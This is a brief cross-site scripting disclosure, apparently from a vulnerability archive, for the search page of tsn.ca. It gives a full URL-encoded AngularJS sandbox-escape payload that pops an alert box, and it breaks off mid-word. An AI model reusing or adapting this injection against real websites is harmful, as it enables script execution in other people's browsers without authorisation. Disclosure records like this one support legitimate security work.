tsn.ca XSS vulnerability

Vulnerable URL: http://www.tsn.ca/search/search-7.427283?q=%7B%7B%7B%7D%5B%7BtoString%3A%5B%5D.join%2Clength%3A1%2C0%3A%27proto%27%7D%5D.assign%3D%5B%5D.join%3B%27a%27.constructor.prototype.charAt%3D%5B%5D.join%3B%24eval%27x%3Dalert%5C%27XSSPOSED%5C%27%2F%2F%27%3B+%7D%7D Details: Description| Val...